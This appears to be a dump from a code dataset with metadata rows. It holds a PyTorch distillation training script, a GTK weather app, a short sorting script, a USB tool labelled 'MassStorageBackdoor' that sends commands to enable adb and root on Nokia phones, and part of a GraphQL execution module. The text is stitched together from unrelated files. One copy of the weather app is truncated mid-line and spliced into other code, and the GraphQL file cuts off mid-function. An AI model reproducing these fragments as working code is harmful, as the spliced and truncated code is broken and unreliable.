assert(args.dataset == 'cifar100') train_dataset = datasets.__dict__[args.dataset.upper()]('../data', train=True, download=True, transform=transform_train) if args.loss_weights[1] > 0: from tqdm import tqdm def get_logits(teacher_model, train_dataset): print("***** Getting logits of teacher model *****") print(f" Num examples = {len(train_dataset) }") logits_file = os.path.join(os.path.dirname(args.teacher_model), 'teacher_logits.npy') if not os.path.exists(logits_file): teacher_model.eval() train_dataloader = torch.utils.data.DataLoader(train_dataset, batch_size=args.batch_size, **kwargs) train_dataloader = tqdm(train_dataloader, desc="Evaluating") teacher_logits = [] for step, (input, target) in enumerate(train_dataloader): outputs = teacher_model(input) teacher_logits += [x for x in outputs.numpy()] np.save(logits_file, np.array(teacher_logits)) else: teacher_logits = np.load(logits_file) train_dataset.targets = [{'labels':l, 'teacher_logits':tl} \ for l, tl in zip(train_dataset.targets, teacher_logits)] return train_dataset with torch.no_grad(): train_dataset = get_logits(teacher_model, train_dataset) train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=args.batch_size, shuffle=True, **kwargs) val_loader = torch.utils.data.DataLoader( datasets.__dict__[args.dataset.upper()]('../data', train=False, transform=transform_test), batch_size=args.batch_size, shuffle=True, **kwargs) if args.resume: if os.path.isfile(args.resume): print("=> loading checkpoint '{}'".format(args.resume)) checkpoint = torch.load(args.resume) args.start_epoch = checkpoint['epoch'] best_prec1 = checkpoint['best_prec1'] student_model.load_state_dict(checkpoint['state_dict']) print("=> loaded checkpoint '{}' (epoch {})" .format(args.resume, checkpoint['epoch'])) else: print("=> no checkpoint found at '{}'".format(args.resume)) optimizer = torch.optim.SGD(student_model.parameters(), args.lr, momentum=args.momentum, nesterov = args.nesterov, weight_decay=args.weight_decay) scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, len(train_loader)*args.epochs) def train_func(model): return train(train_loader, model, scheduler, distiller, best_prec1) def eval_func(model): return validate(val_loader, model, distiller) from neural_compressor.experimental import Distillation, common from neural_compressor.experimental.common.criterion import PyTorchKnowledgeDistillationLoss distiller = Distillation(args.config) distiller.teacher_model = common.Model(teacher_model) distiller.student_model = common.Model(student_model) distiller.train_func = train_func distiller.eval_func = eval_func distiller.optimizer = optimizer distiller.criterion = PyTorchKnowledgeDistillationLoss( temperature=args.temperature, loss_types=args.loss_types, loss_weights=args.loss_weights) model = distiller() directory = "runs/%s/"%(args.name) os.makedirs(directory, exist_ok=True) model.save(directory) model = model.model def train(train_loader, model, scheduler, distiller, best_prec1): distiller.pre_epoch_begin() for epoch in range(args.start_epoch, args.epochs): batch_time = AverageMeter() losses = AverageMeter() top1 = AverageMeter() model.train() end = time.time() for i, (input, target) in enumerate(train_loader): teacher_logits = None if isinstance(target, dict): teacher_logits = target['teacher_logits'] target = target['labels'] output = model(input) distiller.on_post_forward(input, teacher_logits) loss = distiller.criterion(output, target) prec1 = accuracy(output.data, target, topk=(1,))[0] losses.update(loss.data.item(), input.size(0)) top1.update(prec1.item(), input.size(0)) distiller.optimizer.zero_grad() loss.backward() distiller.optimizer.step() scheduler.step() batch_time.update(time.time() - end) end = time.time() if i % args.print_freq == 0: print('Epoch: [{0}][{1}/{2}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Loss {loss.val:.4f} ({loss.avg:.4f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})\t' 'LR {scheduler._last_lr[0]:.6f}'.format( epoch, i, len(train_loader), batch_time=batch_time, loss=losses, top1=top1, scheduler=scheduler)) distiller.on_epoch_end() is_best = distiller.best_score > best_prec1 best_prec1 = max(distiller.best_score, best_prec1) save_checkpoint({ 'epoch': distiller._epoch_runned + 1, 'state_dict': model.state_dict(), 'best_prec1': best_prec1, }, is_best) if args.tensorboard: log_value('train_loss', losses.avg, epoch) log_value('train_acc', top1.avg, epoch) log_value('learning_rate', scheduler._last_lr[0], epoch) def validate(val_loader, model, distiller): batch_time = AverageMeter() top1 = AverageMeter() model.eval() end = time.time() for i, (input, target) in enumerate(val_loader): with torch.no_grad(): output = model(input) prec1 = accuracy(output.data, target, topk=(1,))[0] top1.update(prec1.item(), input.size(0)) batch_time.update(time.time() - end) end = time.time() if i % args.print_freq == 0: print('Test: [{0}/{1}]\t' 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\t' 'Prec@1 {top1.val:.3f} ({top1.avg:.3f})'.format( i, len(val_loader), batch_time=batch_time, top1=top1)) print(' * Prec@1 {top1.avg:.3f}'.format(top1=top1)) if args.tensorboard: log_value('val_acc', top1.avg, distiller._epoch_runned) return top1.avg def save_checkpoint(state, is_best, filename='checkpoint.pth.tar'): directory = "runs/%s/"%(args.name) if not os.path.exists(directory): os.makedirs(directory) filename = directory + filename torch.save(state, filename) if is_best: shutil.copyfile(filename, 'runs/%s/'%(args.name) + 'model_best.pth.tar') class AverageMeter(object): def __init__(self): self.reset() def reset(self): self.val = 0 self.avg = 0 self.sum = 0 self.count = 0 def update(self, val, n=1): self.val = val self.sum += val * n self.count += n self.avg = self.sum / self.count def accuracy(output, target, topk=(1,)): maxk = max(topk) batch_size = target.size(0) _, pred = output.topk(maxk, 1, True, True) pred = pred.t() correct = pred.eq(target.view(1, -1).expand_as(pred)) res = [] for k in topk: correct_k = correct[:k].view(-1).float().sum(0) res.append(correct_k.mul_(100.0 / batch_size)) return res if __name__ == '__main__': main()
true
true
f71f18898c8292f215084d67a0492fc48f5a9d6c
8,974
py
Python
main.py
PabloEmidio/Know-Weather-GTK
797f25cbd0c8e1a2f124a5328d9decf2f3829252
[ "MIT" ]
4
2021-05-06T02:07:02.000Z
2021-05-06T17:48:08.000Z
main.py
PabloEmidio/Know-Weather-GTK
797f25cbd0c8e1a2f124a5328d9decf2f3829252
[ "MIT" ]
null
null
null
main.py
PabloEmidio/Know-Weather-GTK
797f25cbd0c8e1a2f124a5328d9decf2f3829252
[ "MIT" ]
null
null
null
import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk from datetime import datetime from api_request import Weather builder = Gtk.Builder() builder.add_from_file('./glade/main.glade') class Handler: def __init__(self, *args, **kwargs): super(Handler, self).__init__(*args, **kwargs) self.weather_instance = Weather() self.entry = builder.get_object('entry') self.btn_search = builder.get_object('btn_search') self.city_name = builder.get_object('city_name') self.city_text = builder.get_object('city_text') self.main_temp = builder.get_object('main_temp') self.which_temp_simbol_is = 'Celsius' self.weekday_name = builder.get_object('weekday_name') self.weekday_name_today = builder.get_object('weekday_name_today') self.temp_today_max = builder.get_object('today_max') self.temp_today_min = builder.get_object('today_min') self.hour_1_now = builder.get_object('hour_1_now') self.hour_1_chance_of_rain = builder.get_object('hour_1_chance_of_rain') self.hour_1_icon = builder.get_object('hour_1_icon') self.hour_1_temp = builder.get_object('hour_1_temp') self.hour_2_clock = builder.get_object('hour_2_clock') self.hour_2_chance_of_rain = builder.get_object('hour_2_chance_of_rain') self.hour_2_icon = builder.get_object('hour_2_icon') self.hour_2_temp = builder.get_object('hour_2_temp') self.hour_3_clock = builder.get_object('hour_3_clock') self.hour_3_chance_of_rain = builder.get_object('hour_3_chance_of_rain') self.hour_3_icon = builder.get_object('hour_3_icon') self.hour_3_temp = builder.get_object('hour_3_temp') self.hour_4_clock = builder.get_object('hour_4_clock') self.hour_4_chance_of_rain = builder.get_object('hour_4_chance_of_rain') self.hour_4_icon = builder.get_object('hour_4_icon') self.hour_4_temp = builder.get_object('hour_4_temp') self.hour_5_clock = builder.get_object('hour_5_clock') self.hour_5_chance_of_rain = builder.get_object('hour_5_chance_of_rain') self.hour_5_icon = builder.get_object('hour_5_icon') self.hour_5_temp = builder.get_object('hour_5_temp') self.day_1_name = builder.get_object('day_1_name') self.day_1_icon = builder.get_object('day_1_icon') self.day_1_temp_max = builder.get_object('day_1_temp_max') self.day_1_temp_min = builder.get_object('day_1_temp_min') self.day_2_name = builder.get_object('day_2_name') self.day_2_icon = builder.get_object('day_2_icon') self.day_2_temp_max = builder.get_object('day_2_temp_max') self.day_2_temp_min = builder.get_object('day_2_temp_min') def onDestroy(self, *args): Gtk.main_quit() def on_button_search_clicked(self, widget): # now.strftime('%A') to know how weekday is import re, unicodedata word = unicodedata.normalize('NFD', self.entry.get_text()) word = re.sub('[\u0300-\u036f]', '', word) try: now = datetime.now() current_hour = int(now.strftime('%H')) current_search = self.weather_instance.get_weather_info(word, current_hour=current_hour) self.city_name.set_text(current_search['location']['name'] + '/' + current_search['location']['region']) self.city_text.set_text(current_search['current']['condition']['text']) self.main_temp.set_text(str(int(current_search['current']['temp_c'])) + '°') weekday = now.strftime('%A') self.weekday_name.set_text(weekday) self.weekday_name_today.set_text('Today') today_max_temp = str(int(current_search['forecast']['forecastday'][0]['day']['maxtemp_c'])) today_min_temp = str(int(current_search['forecast']['forecastday'][0]['day']['mintemp_c'])) self.temp_today_max.set_text(today_max_temp) self.temp_today_min.set_text(today_min_temp) ### Hours informations ###################################################### def is_available(increase: int) -> bool: return not (current_hour + increase > 23) if is_available(0): self.hour_1_now.set_text('Now') if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour]['chance_of_rain'])>0: self.hour_1_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_1_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour]['temp_c']))) else: self.hour_1_now.set_text('unavailable') self.hour_1_temp.set_text('tomorrow') self.hour_1_icon.set_from_file('./images/hour_icon/1.png') if is_available(1): self.hour_2_clock.set_text(str(int(now.strftime('%I'))+1) + now.strftime('%p')) if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour+1]['chance_of_rain'])>0: self.hour_1_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_2_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+1]['temp_c']))) else: self.hour_2_clock.set_text('unavailable') self.hour_2_temp.set_text('tomorrow') self.hour_2_icon.set_from_file('./images/hour_icon/2.png') if is_available(2): self.hour_3_clock.set_text(str(int(now.strftime('%I'))+2) + now.strftime('%p')) if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour+2]['chance_of_rain'])>0: self.hour_3_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_3_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+2]['temp_c']))) else: self.hour_3_clock.set_text('unavailable') self.hour_3_temp.set_text('tomorrow') self.hour_3_icon.set_from_file('./images/hour_icon/3.png') if is_available(3): self.hour_4_clock.set_text(str(int(now.strftime('%I'))+3) + now.strftime('%p')) if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour+3]['chance_of_rain'])>0: self.hour_4_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_4_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+3]['temp_c']))) else: self.hour_4_clock.set_text('unavailable') self.hour_4_temp.set_text('tomorrow') self.hour_4_icon.set_from_file('./images/hour_icon/4.png') if is_available(4): self.hour_5_clock.set_text(str(int(now.strftime('%I'))+4) + now.strftime('%p')) if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour+3]['chance_of_rain'])>0: self.hour_5_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_5_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+4]['temp_c']))) else: self.hour_5_clock.set_text('unavailable') self.hour_5_temp.set_text('tomorrow') self.hour_5_icon.set_from_file('./images/hour_icon/5.png') ### days informations ###################################################### self.day_1_name.set_text(datetime.fromisoformat(current_search['forecast']['forecastday'][1]['date']).strftime('%A')) self.day_1_icon.set_from_file('./images/days_icon/1.png') self.day_1_temp_max.set_text(str(int(current_search['forecast']['forecastday'][1]['day']['maxtemp_c']))) self.day_1_temp_min.set_text(str(int(current_search['forecast']['forecastday'][1]['day']['mintemp_c']))) self.day_2_name.set_text(datetime.fromisoformat(current_search['forecast']['forecastday'][2]['date']).strftime('%A')) self.day_2_icon.set_from_file('./images/days_icon/2.png') self.day_2_temp_max.set_text(str(int(current_search['forecast']['forecastday'][2]['day']['maxtemp_c']))) self.day_2_temp_min.set_text(str(int(current_search['forecast']['forecastday'][2]['day']['mintemp_c']))) except Exception as error: print(f'error {error}') builder.connect_signals(Handler()) window = builder.get_object('window') window.show_all() Gtk.main()
53.736527
131
0.622131
import gi gi.require_version('Gtk', '3.0') from gi.repository import Gtk from datetime import datetime from api_request import Weather builder = Gtk.Builder() builder.add_from_file('./glade/main.glade') class Handler: def __init__(self, *args, **kwargs): super(Handler, self).__init__(*args, **kwargs) self.weather_instance = Weather() self.entry = builder.get_object('entry') self.btn_search = builder.get_object('btn_search') self.city_name = builder.get_object('city_name') self.city_text = builder.get_object('city_text') self.main_temp = builder.get_object('main_temp') self.which_temp_simbol_is = 'Celsius' self.weekday_name = builder.get_object('weekday_name') self.weekday_name_today = builder.get_object('weekday_name_today') self.temp_today_max = builder.get_object('today_max') self.temp_today_min = builder.get_object('today_min') self.hour_1_now = builder.get_object('hour_1_now') self.hour_1_chance_of_rain = builder.get_object('hour_1_chance_of_rain') self.hour_1_icon = builder.get_object('hour_1_icon') self.hour_1_temp = builder.get_object('hour_1_temp') self.hour_2_clock = builder.get_object('hour_2_clock') self.hour_2_chance_of_rain = builder.get_object('hour_2_chance_of_rain') self.hour_2_icon = builder.get_object('hour_2_icon') self.hour_2_temp = builder.get_object('hour_2_temp') self.hour_3_clock = builder.get_object('hour_3_clock') self.hour_3_chance_of_rain = builder.get_object('hour_3_chance_of_rain') self.hour_3_icon = builder.get_object('hour_3_icon') self.hour_3_temp = builder.get_object('hour_3_temp') self.hour_4_clock = builder.get_object('hour_4_clock') self.hour_4_chance_of_rain = builder.get_object('hour_4_chance_of_rain') self.hour_4_icon = builder.get_object('hour_4_icon') self.hour_4_temp = builder.get_object('hour_4_temp') self.hour_5_clock = builder.get_object('hour_5_clock') self.hour_5_chance_of_rain = builder.get_object('hour_5_chance_of_rain') self.hour_5_icon = builder.get_object('hour_5_icon') self.hour_5_temp = builder.get_object('hour_5_temp') self.day_1_name = builder.get_object('day_1_name') self.day_1_icon = builder.get_object('day_1_icon') self.day_1_temp_max = builder.get_object('day_1_temp_max') self.day_1_temp_min = builder.get_object('day_1_temp_min') self.day_2_name = builder.get_object('day_2_name') self.day_2_icon = builder.get_object('day_2_icon') self.day_2_temp_max = builder.get_object('day_2_temp_max') self.day_2_temp_min = builder.get_object('day_2_temp_min') def onDestroy(self, *args): Gtk.main_quit() def on_button_search_clicked(self, widget): import re, unicodedata word = unicodedata.normalize('NFD', self.entry.get_text()) word = re.sub('[\u0300-\u036f]', '', word) try: now = datetime.now() current_hour = int(now.strftime('%H')) current_search = self.weather_instance.get_weather_info(word, current_hour=current_hour) self.city_name.set_text(current_search['location']['name'] + '/' + current_search['location']['region']) self.city_text.set_text(current_search['current']['condition']['text']) self.main_temp.set_text(str(int(current_search['current']['temp_c'])) + '°') weekday = now.strftime('%A') self.weekday_name.set_text(weekday) self.weekday_name_today.set_text('Today') today_max_temp = str(int(current_search['forecast']['forecastday'][0]['day']['maxtemp_c'])) today_min_temp = str(int(current_search['forecast']['forecastday'][0]['day']['mintemp_c'])) self.temp_today_max.set_text(today_max_temp) self.temp_today_min.set_text(today_min_temp) arch['forecast']['forecastday'][0]['hour'][current_hour+2]['chance_of_rain'])>0: self.hour_3_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_3_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+2]['temp_c']))) else: self.hour_3_clock.set_text('unavailable') self.hour_3_temp.set_text('tomorrow') self.hour_3_icon.set_from_file('./images/hour_icon/3.png') if is_available(3): self.hour_4_clock.set_text(str(int(now.strftime('%I'))+3) + now.strftime('%p')) if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour+3]['chance_of_rain'])>0: self.hour_4_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_4_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+3]['temp_c']))) else: self.hour_4_clock.set_text('unavailable') self.hour_4_temp.set_text('tomorrow') self.hour_4_icon.set_from_file('./images/hour_icon/4.png') if is_available(4): self.hour_5_clock.set_text(str(int(now.strftime('%I'))+4) + now.strftime('%p')) if int(chance_of_rain := current_search['forecast']['forecastday'][0]['hour'][current_hour+3]['chance_of_rain'])>0: self.hour_5_chance_of_rain.set_text(str(chance_of_rain) + '%') self.hour_5_temp.set_text(str(int(current_search['forecast']['forecastday'][0]['hour'][current_hour+4]['temp_c']))) else: self.hour_5_clock.set_text('unavailable') self.hour_5_temp.set_text('tomorrow') self.hour_5_icon.set_from_file('./images/hour_icon/5.png')
true
true
f71f18bc90c86155e0835c84ecc4093b469ef8c1
338
py
Python
ufba/modulos_e_excecoes/programaprincipal.py
rafaelsqueiroz/learning_phase
6a04da40ba50e24a9ab79f940c8e4820ad34c07d
[ "MIT" ]
null
null
null
ufba/modulos_e_excecoes/programaprincipal.py
rafaelsqueiroz/learning_phase
6a04da40ba50e24a9ab79f940c8e4820ad34c07d
[ "MIT" ]
1
2019-10-31T19:51:27.000Z
2019-10-31T19:51:27.000Z
ufba/modulos_e_excecoes/programaprincipal.py
rafaelsqueiroz/learning_phase
6a04da40ba50e24a9ab79f940c8e4820ad34c07d
[ "MIT" ]
1
2019-10-23T18:00:16.000Z
2019-10-23T18:00:16.000Z
# -*- coding: utf-8 -*- """ Created on Wed May 12 16:33:11 2021 @author: Rafael Queiroz """ import ordenaarquivo c1 = ordenaarquivo.OrdenaColunaStd('dados.txt', 2) # variável criada com base no OrdenaColunaStd c2 = ordenaarquivo.OrdenaColunaMySort('dados.txt', 2) # variável criada com base no OrdenaColunaMySort print(c1) print(c2)
21.125
102
0.736686
import ordenaarquivo c1 = ordenaarquivo.OrdenaColunaStd('dados.txt', 2) c2 = ordenaarquivo.OrdenaColunaMySort('dados.txt', 2) print(c1) print(c2)
true
true
f71f18c04b849a12ab67707e2dc21b53b542b7e7
1,209
py
Python
Library/usbscsi.py
P3nguin-M/edl
967220426ad820e3d0ed471bbe7013ca0eb4a33c
[ "MIT" ]
2
2020-08-26T09:23:40.000Z
2020-10-08T20:32:05.000Z
Library/usbscsi.py
P3nguin-M/edl
967220426ad820e3d0ed471bbe7013ca0eb4a33c
[ "MIT" ]
null
null
null
Library/usbscsi.py
P3nguin-M/edl
967220426ad820e3d0ed471bbe7013ca0eb4a33c
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import argparse from Library.usblib import * def main(): info='MassStorageBackdoor (c) B.Kerler 2019.' parser = argparse.ArgumentParser(description=info) print("\n"+info+"\n\n") parser.add_argument('-vid',metavar="<vid>",help='[Option] Specify vid, default=0x2e04)', default="0x2e04") parser.add_argument('-pid',metavar="<pid>", help='[Option] Specify pid, default=0xc025)', default="0xc025") parser.add_argument('-interface', metavar="<pid>", help='[Option] Specify interface number)', default="") parser.add_argument('-nokia', help='[Option] Enable Nokia adb backdoor', action='store_true') args = parser.parse_args() if args.vid!="": vid=int(args.vid,16) if args.pid!="": pid=int(args.pid,16) if args.interface!="": interface=int(args.interface,16) else: interface=-1 usbscsi = scsi(vid, pid, interface) if (usbscsi.connect()): if args.nokia: usbscsi.send_fih_adbenable() usbscsi.send_fih_root() else: print("A command is required. Use -h to see options.") exit(0) usbscsi.close() if __name__ == '__main__': main()
33.583333
111
0.624483
import argparse from Library.usblib import * def main(): info='MassStorageBackdoor (c) B.Kerler 2019.' parser = argparse.ArgumentParser(description=info) print("\n"+info+"\n\n") parser.add_argument('-vid',metavar="<vid>",help='[Option] Specify vid, default=0x2e04)', default="0x2e04") parser.add_argument('-pid',metavar="<pid>", help='[Option] Specify pid, default=0xc025)', default="0xc025") parser.add_argument('-interface', metavar="<pid>", help='[Option] Specify interface number)', default="") parser.add_argument('-nokia', help='[Option] Enable Nokia adb backdoor', action='store_true') args = parser.parse_args() if args.vid!="": vid=int(args.vid,16) if args.pid!="": pid=int(args.pid,16) if args.interface!="": interface=int(args.interface,16) else: interface=-1 usbscsi = scsi(vid, pid, interface) if (usbscsi.connect()): if args.nokia: usbscsi.send_fih_adbenable() usbscsi.send_fih_root() else: print("A command is required. Use -h to see options.") exit(0) usbscsi.close() if __name__ == '__main__': main()
true
true
f71f191d2d5dd4ef2234008a0e40b14db9e6a422
228
py
Python
tests/samples/issue-274-support-one-package-without-package-dir/setup.py
mlasch/scikit-build
664dd9c41cc54047d6d648b0466d525573da5a94
[ "MIT" ]
299
2015-10-19T22:45:08.000Z
2022-03-30T21:15:55.000Z
tests/samples/issue-274-support-one-package-without-package-dir/setup.py
mlasch/scikit-build
664dd9c41cc54047d6d648b0466d525573da5a94
[ "MIT" ]
588
2015-09-17T04:26:59.000Z
2022-03-29T14:51:54.000Z
tests/samples/issue-274-support-one-package-without-package-dir/setup.py
mlasch/scikit-build
664dd9c41cc54047d6d648b0466d525573da5a94
[ "MIT" ]
102
2015-10-19T22:45:13.000Z
2022-03-20T21:09:08.000Z
from skbuild import setup setup( name="hello", version="1.2.3", description="a minimal example package", author='The scikit-build team', license="MIT", packages=['hello'], test_suite='hello_tests' )
19
44
0.644737
from skbuild import setup setup( name="hello", version="1.2.3", description="a minimal example package", author='The scikit-build team', license="MIT", packages=['hello'], test_suite='hello_tests' )
true
true
f71f1a05e28fe8ec2782d3b027061351db27751e
10,516
py
Python
tartiflette/execution/collect.py
remorses/tartiflette-whl
92bed13de130a7a88278d7019314135e01281259
[ "MIT" ]
null
null
null
tartiflette/execution/collect.py
remorses/tartiflette-whl
92bed13de130a7a88278d7019314135e01281259
[ "MIT" ]
null
null
null
tartiflette/execution/collect.py
remorses/tartiflette-whl
92bed13de130a7a88278d7019314135e01281259
[ "MIT" ]
null
null
null
from functools import lru_cache from typing import Dict, List, Optional, Set, Tuple, Union from tartiflette.execution.nodes.variable_definition import ( variable_definition_node_to_executable, ) from tartiflette.language.ast import ( FieldNode, FragmentSpreadNode, InlineFragmentNode, ) from tartiflette.language.parsers.libgraphqlparser import parse_to_document from tartiflette.types.exceptions.tartiflette import ( SkipCollection, TartifletteError, ) from tartiflette.types.helpers.get_directive_instances import ( compute_directive_nodes, ) from tartiflette.utils.directives import wraps_with_directives from tartiflette.utils.errors import to_graphql_error from tartiflette.utils.type_from_ast import schema_type_from_ast __all__ = ( "parse_and_validate_query", "collect_executable_variable_definitions", "collect_fields", "collect_subfields", ) @lru_cache(maxsize=512) def parse_and_validate_query( query: Union[str, bytes], schema: "GraphQLSchema" ) -> Tuple[Optional["DocumentNode"], Optional[List["TartifletteError"]]]: """ Analyzes & validates a query by converting it to a DocumentNode. :param query: the GraphQL request / query as UTF8-encoded string :type query: Union[str, bytes] :param schema: the GraphQLSchema instance linked to the engine :type schema: GraphQLSchema :return: a DocumentNode representing the query :rtype: Tuple[Optional[DocumentNode], Optional[List[TartifletteError]]] """ try: document: "DocumentNode" = parse_to_document(query, schema) except TartifletteError as e: return None, [e] except Exception as e: # pylint: disable=broad-except return ( None, [to_graphql_error(e, message="Server encountered an error.")], ) if document.validators.errors: return None, document.validators.errors return document, None @lru_cache(maxsize=512) def collect_executable_variable_definitions( schema: "GraphQLSchema", document: "DocumentNode", operation: "OperationDefinitionNode", ) -> List["ExecutableVariableDefinition"]: """ Go recursively through all variable definition AST nodes to convert them as executable variable definition. :param schema: the GraphQLSchema instance linked to the engine :param document: the DocumentNode instance linked to the GraphQL request :param operation: the AST operation definition node to execute :type schema: GraphQLSchema :type document: DocumentNode :type operation: OperationDefinitionNode :return: a list of executable variable definition :rtype: List[ExecutableVariableDefinition] """ # pylint: disable=unused-argument if not operation.variable_definitions: return [] return [ variable_definition_node_to_executable( schema, variable_definition_node ) for variable_definition_node in operation.variable_definitions ] async def should_include_node( execution_context: "ExecutionContext", node: Union["FragmentSpreadNode", "FieldNode", "InlineFragmentNode"], ) -> bool: """ Determines if a field should be included based on the @include and @skip directives, where @skip has higher precedence than @include. :param execution_context: instance of the query execution context :param node: the selection node to collect or skip :type execution_context: ExecutionContext :type node: Union[FragmentSpreadNode, FieldNode, InlineFragmentNode] :return: whether or not the node should be collected or skipped :rtype: bool """ if not node.directives: return True hook_name = ( "on_field_collection" if isinstance(node, FieldNode) else ( "on_fragment_spread_collection" if isinstance(node, FragmentSpreadNode) else "on_inline_fragment_collection" ) ) try: await wraps_with_directives( directives_definition=compute_directive_nodes( execution_context.schema, node.directives, execution_context.variable_values, ), directive_hook=hook_name, with_default=True, )( node, execution_context.context, context_coercer=execution_context.context, ) except SkipCollection: return False except Exception: # pylint: disable=broad-except # TODO: we should store unexpected exception in order to treat them as # field result on execution to handle them the same way as resolved # value and having the bubble up error and so on. return False return True def get_field_entry_key(node: "FieldNode") -> str: """ Implements the logic to compute the key of a given field's entry. :param node: field node from which to extract the entry key :type node: FieldNode :return: the field entry key :rtype: str """ return node.alias.value if node.alias else node.name.value def does_fragment_condition_match( execution_context: "ExecutionContext", fragment_node: Union["FragmentDefinitionNode", "InlineFragmentNode"], graphql_object_type: "GraphQLObjectType", ) -> bool: """ Determines if a fragment is applicable to the given type. :param execution_context: instance of the query execution context :param fragment_node: fragment node to check :param graphql_object_type: GraphQLObjectType to check against with :type execution_context: ExecutionContext :type fragment_node: Union[FragmentDefinitionNode, InlineFragmentNode] :type graphql_object_type: GraphQLObjectType :return: whether or not the fragment is applicable to the given type :rtype: bool """ type_condition_node = fragment_node.type_condition if not type_condition_node: return True conditional_type = schema_type_from_ast( execution_context.schema, type_condition_node ) if conditional_type is graphql_object_type: return True return ( conditional_type.is_abstract_type and conditional_type.is_possible_type(graphql_object_type) ) async def collect_fields( execution_context: "ExecutionContext", runtime_type: "GraphQLObjectType", selection_set: "SelectionSetNode", fields: Optional[Dict[str, List["FieldNode"]]] = None, visited_fragment_names: Optional[Set[str]] = None, ) -> Dict[str, List["FieldNode"]]: """ Given a SelectionSet, adds all of the fields in that selection to the passed in map of fields, and returns it at the end. CollectFields requires the "runtime type" of an object. For a field which returns an Interface or Union type, the "runtime type" will be the actual Object type returned by that field. :param execution_context: instance of the query execution context :param runtime_type: current runtime type of the selection set :param selection_set: selection set node to parse :param fields: dictionary of collected fields :param visited_fragment_names: the set of fragment names already visited :type execution_context: ExecutionContext :type runtime_type: GraphQLObjectType :type selection_set: SelectionSetNode :type fields: Optional[Dict[str, List[FieldNode]]] :type visited_fragment_names: Optional[Set[str]] :return: the dictionary of collected fields :rtype: Dict[str, List[FieldNode]] """ # pylint: disable=too-complex if fields is None: fields: Dict[str, "FieldNode"] = {} if visited_fragment_names is None: visited_fragment_names: Set[str] = set() for selection in selection_set.selections: if isinstance(selection, FieldNode): if not await should_include_node(execution_context, selection): continue fields.setdefault(get_field_entry_key(selection), []).append( selection ) elif isinstance(selection, InlineFragmentNode): if not await should_include_node( execution_context, selection ) or not does_fragment_condition_match( execution_context, selection, runtime_type ): continue await collect_fields( execution_context, runtime_type, selection.selection_set, fields, visited_fragment_names, ) elif isinstance(selection, FragmentSpreadNode): fragment_name = selection.name.value if ( fragment_name in visited_fragment_names or not await should_include_node(execution_context, selection) ): continue visited_fragment_names.add(fragment_name) fragment_definition = execution_context.fragments[fragment_name] if not fragment_definition or not does_fragment_condition_match( execution_context, fragment_definition, runtime_type ): continue await collect_fields( execution_context, runtime_type, fragment_definition.selection_set, fields, visited_fragment_names, ) return fields async def collect_subfields( execution_context: "ExecutionContext", return_type: "GraphQLOutputType", field_nodes: List["FieldNode"], ) -> Dict[str, List["FieldNode"]]: """ Collects the fields of each field nodes. :param execution_context: instance of the query execution context :param return_type: GraphQLOutputType of the parent field :param field_nodes: AST nodes related to the parent field :type execution_context: ExecutionContext :type return_type: GraphQLOutputType :type field_nodes: List[FieldNode] :return: the dictionary of collected fields :rtype: Dict[str, List[FieldNode]] """ subfield_nodes: Dict[str, List["FieldNode"]] = {} visited_fragment_names: Set[str] = set() for field_node in field_nodes: selection_set = field_node.selection_set if selection_set: subfield_nodes = await collect_fields( execution_context, return_type, selection_set, subfield_nodes, visited_fragment_names, ) return subfield_nodes
35.527027
79
0.687143
from functools import lru_cache from typing import Dict, List, Optional, Set, Tuple, Union from tartiflette.execution.nodes.variable_definition import ( variable_definition_node_to_executable, ) from tartiflette.language.ast import ( FieldNode, FragmentSpreadNode, InlineFragmentNode, ) from tartiflette.language.parsers.libgraphqlparser import parse_to_document from tartiflette.types.exceptions.tartiflette import ( SkipCollection, TartifletteError, ) from tartiflette.types.helpers.get_directive_instances import ( compute_directive_nodes, ) from tartiflette.utils.directives import wraps_with_directives from tartiflette.utils.errors import to_graphql_error from tartiflette.utils.type_from_ast import schema_type_from_ast __all__ = ( "parse_and_validate_query", "collect_executable_variable_definitions", "collect_fields", "collect_subfields", ) @lru_cache(maxsize=512) def parse_and_validate_query( query: Union[str, bytes], schema: "GraphQLSchema" ) -> Tuple[Optional["DocumentNode"], Optional[List["TartifletteError"]]]: try: document: "DocumentNode" = parse_to_document(query, schema) except TartifletteError as e: return None, [e] except Exception as e: return ( None, [to_graphql_error(e, message="Server encountered an error.")], ) if document.validators.errors: return None, document.validators.errors return document, None @lru_cache(maxsize=512) def collect_executable_variable_definitions( schema: "GraphQLSchema", document: "DocumentNode", operation: "OperationDefinitionNode", ) -> List["ExecutableVariableDefinition"]: if not operation.variable_definitions: return [] return [ variable_definition_node_to_executable( schema, variable_definition_node ) for variable_definition_node in operation.variable_definitions ] async def should_include_node( execution_context: "ExecutionContext", node: Union["FragmentSpreadNode", "FieldNode", "InlineFragmentNode"], ) -> bool: if not node.directives: return True hook_name = ( "on_field_collection" if isinstance(node, FieldNode) else ( "on_fragment_spread_collection" if isinstance(node, FragmentSpreadNode) else "on_inline_fragment_collection" ) ) try: await wraps_with_directives( 